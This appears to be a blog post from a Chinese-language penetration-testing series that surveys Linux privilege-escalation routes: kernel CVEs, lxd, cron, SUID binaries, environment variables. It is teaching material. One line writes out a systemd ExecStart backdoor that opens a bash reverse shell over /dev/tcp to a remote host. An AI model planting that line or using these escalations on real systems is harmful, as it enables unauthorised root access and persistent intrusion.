iT邦幫忙

2021 iThome 鐵人賽

DAY 28
0
Security

讓Web開發者森77的Hacking Trick系列 第 28

[Day28] Linux Privilege Escalation

前言

快要結束了,今明兩天會講點拿下Server Initial Access(foothold)之後的權限提升。

正文

在滲透測試期間,若是成功拿到Initial Access通常是漏洞發生的Service的權限,例如假設在網站上拿到RCE並成功彈回Reverse Shell,常常會是www-data或是使用Apache Service的apache帳戶,這種權限通常非常低,甚至也不會有正常的tty可以使用(可參考Day24 Bind Shell/Reverse Shell),之前也提過一些方法可以升級tty。在這種情況下,通常會尋求額外的訪問權限,不管是垂直提權橫向(水平)提權,通常在滲透測試中,最終目標都是拿到整個機器的管理權限,也就是root或Administrator,確保可以最大程度影響/操縱整台Server,這也就是Privilege Escalation,權限提升。而今天的主題將會講述常見的Linux提權方法。

  • 垂直提權: 攻擊者能獲得比現有帳戶更高的訪問權限,例如www-data到普通帳戶craig到管理員權限的root。每個權限提升都會拿到比原本更多的執行權限,很多在www-data無法執行的操作,會在craig中得到,例如擁有完整的home目錄、或是craig本身是開發者的話,也可能瀏覽到此人負責開發的project,取得原始碼。再到root時,更是可以隨意的更改帳戶權限,擦除一些入侵痕跡(log)、竊取該機器上的所有帳戶創建的內容或是植入後門等等。

  • 水平提權/橫向移動: 攻擊者能夠獲得與現有帳戶相同的訪問權限,但可以訪問其他原本無訪問權限的帳戶內容,例如CraigAngel,各是Server上擁有相同管理權限,卻各有不同內容的帳戶,攻擊者可以透過訪問不同用戶取得不同用戶可以使用的"功能"和資料。

提權主要有幾種方法:

  1. Kernel漏洞

例如CVE-2016-5195的DirtyCow或是sudo(CVE-2021-3156)

  1. Driver

例如CVE-2020-12464,USB Driver(嚴格意義上也屬於Linux Kernel)

  1. Software

可以透過dpkg,rpm查看已安裝的軟體包,例如舊版本的Nagios。
或是像lxd,如果你的user有在lxd的group中,可以透過lxd init開啟LXD的程序,透過一些設定和操作,就可以拿來提權,過程十分簡單。

  1. Process

可以查看是否有service運行比原本預設更高的權限,例如在local中運行的service或是以root運行的某個網站功能。

  1. cron

查看是否有其他帳戶運行的cron job。一個曾遇過的狀況是一個以root運行的script,但用戶可以修改此script。

  1. .service

若是有限有帳戶可以修改或新增的.service權限,就可以在服務啟動、重啟時執行後門,例如寫入

ExecStart=/bin/bash -c 'bash' -i >& /dev/tcp/craig/1234 0>&1'
  1. Unix Binary(SUID/SGID)

種類實在太多,這邊簡單列出幾個

SUID

  • gdb
  • openssl
  • vim
  • node
  • docker
  • find

更多可以參考GTFOBins

  1. Environment Variables

例如LD_PRELOAD
也可以查看再$PATH中的某個目錄下是否可以寫入檔案,可以通過在一個可寫的目錄中寫入一個後門或含有執行Shell或Reverse Shell的檔案。

除了上述提到的這些,還有像是Sudo Tokens重用、Backup檔案、NFS PrivEsc、rbash escape、logstash、Docker Breakout等等,族繁不及備載。

當然也有人將這些常見漏洞,寫成script,方便提權時使用,知名如

建議如果在滲透測試需要進行提權時,交叉使用不一樣的script,搭配手動測試可以得到最好的效果,也比較不容易遺漏。


上一篇
[Day27 ] Chained Exploits - 鏈式漏洞利用(漏洞利用組合技)
下一篇
[Day29] Windows Privilege Escalation
系列文
讓Web開發者森77的Hacking Trick30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

0
juck30808
iT邦研究生 1 級 ‧ 2021-10-14 12:05:34

恭喜即將邁入完賽啦~

克雷格 iT邦新手 4 級 ‧ 2021-10-14 16:42:40 檢舉

感謝~

我要留言

立即登入留言